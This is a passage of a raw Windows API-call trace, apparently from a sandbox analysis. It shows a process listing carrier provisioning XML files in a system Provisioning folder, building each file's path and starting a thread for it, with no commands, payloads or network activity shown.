ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="4__CON~1.PRO")) returned 1 [0180.983] wcscmp (_String1="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.983] wcscmp (_String1="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f018d8 [0180.983] wcscpy (in: _Dest=0x4f018d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.983] wcscat (in: _Dest=0x4f018d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.983] wcscat (in: _Dest=0x4f018d8, _Source="4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" [0180.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f018d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0180.983] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="500__C~1.PRO")) returned 1 [0180.983] wcscmp (_String1="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.983] wcscmp (_String1="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x178) returned 0x2fa0e08 [0180.984] wcscpy (in: _Dest=0x2fa0e08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.984] wcscat (in: _Dest=0x2fa0e08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.984] wcscat (in: _Dest=0x2fa0e08, _Source="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" [0180.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0180.984] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="501__C~1.PRO")) returned 1 [0180.984] wcscmp (_String1="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.984] wcscmp (_String1="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16e) returned 0x2f96a28 [0180.984] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.984] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.984] wcscat (in: _Dest=0x2f96a28, _Source="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" [0180.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0180.985] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91213f95, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91213f95, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91213f95, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="502__C~1.PRO")) returned 1 [0180.985] wcscmp (_String1="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.985] wcscmp (_String1="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16c) returned 0x2f96ba0 [0180.985] wcscpy (in: _Dest=0x2f96ba0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.985] wcscat (in: _Dest=0x2f96ba0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.985] wcscat (in: _Dest=0x2f96ba0, _Source="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" [0180.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0180.986] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91213f95, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91213f95, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91213f95, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="503__C~1.PRO")) returned 1 [0180.986] wcscmp (_String1="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.986] wcscmp (_String1="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2f96d18 [0180.986] wcscpy (in: _Dest=0x2f96d18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.986] wcscat (in: _Dest=0x2f96d18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.986] wcscat (in: _Dest=0x2f96d18, _Source="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" [0180.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0180.987] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="504__C~1.PRO")) returned 1 [0180.987] wcscmp (_String1="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.987] wcscmp (_String1="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16c) returned 0x2f8d3b0 [0180.987] wcscpy (in: _Dest=0x2f8d3b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.987] wcscat (in: _Dest=0x2f8d3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.987] wcscat (in: _Dest=0x2f8d3b0, _Source="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" [0180.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0180.988] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", cAlternateFileName="505__C~1.PRO")) returned 1 [0180.988] wcscmp (_String1="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.988] wcscmp (_String1="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15c) returned 0x2fedd70 [0180.988] wcscpy (in: _Dest=0x2fedd70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.988] wcscat (in: _Dest=0x2fedd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.988] wcscat (in: _Dest=0x2fedd70, _Source="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" [0180.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0180.989] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", cAlternateFileName="506__C~1.PRO")) returned 1 [0180.989] wcscmp (_String1="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.989] wcscmp (_String1="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fedaa0 [0180.989] wcscpy (in: _Dest=0x2fedaa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.989] wcscat (in: _Dest=0x2fedaa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.989] wcscat (in: _Dest=0x2fedaa0, _Source="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" [0180.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0180.989] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", cAlternateFileName="507__C~1.PRO")) returned 1 [0180.990] wcscmp (_String1="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.990] wcscmp (_String1="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.990] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fed7d0 [0180.990] wcscpy (in: _Dest=0x2fed7d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.990] wcscat (in: _Dest=0x2fed7d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.990] wcscat (in: _Dest=0x2fed7d0, _Source="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" [0180.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fed7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0180.990] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", cAlternateFileName="508__C~1.PRO")) returned 1 [0180.990] wcscmp (_String1="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.991] wcscmp (_String1="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x162) returned 0x2f6cb80 [0180.991] wcscpy (in: _Dest=0x2f6cb80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.991] wcscat (in: _Dest=0x2f6cb80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.991] wcscat (in: _Dest=0x2f6cb80, _Source="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" [0180.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0180.991] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="509__C~1.PRO")) returned 1 [0180.991] wcscmp (_String1="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.991] wcscmp (_String1="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054f80 [0180.991] wcscpy (in: _Dest=0x3054f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.991] wcscat (in: _Dest=0x3054f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.992] wcscat (in: _Dest=0x3054f80, _Source="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All 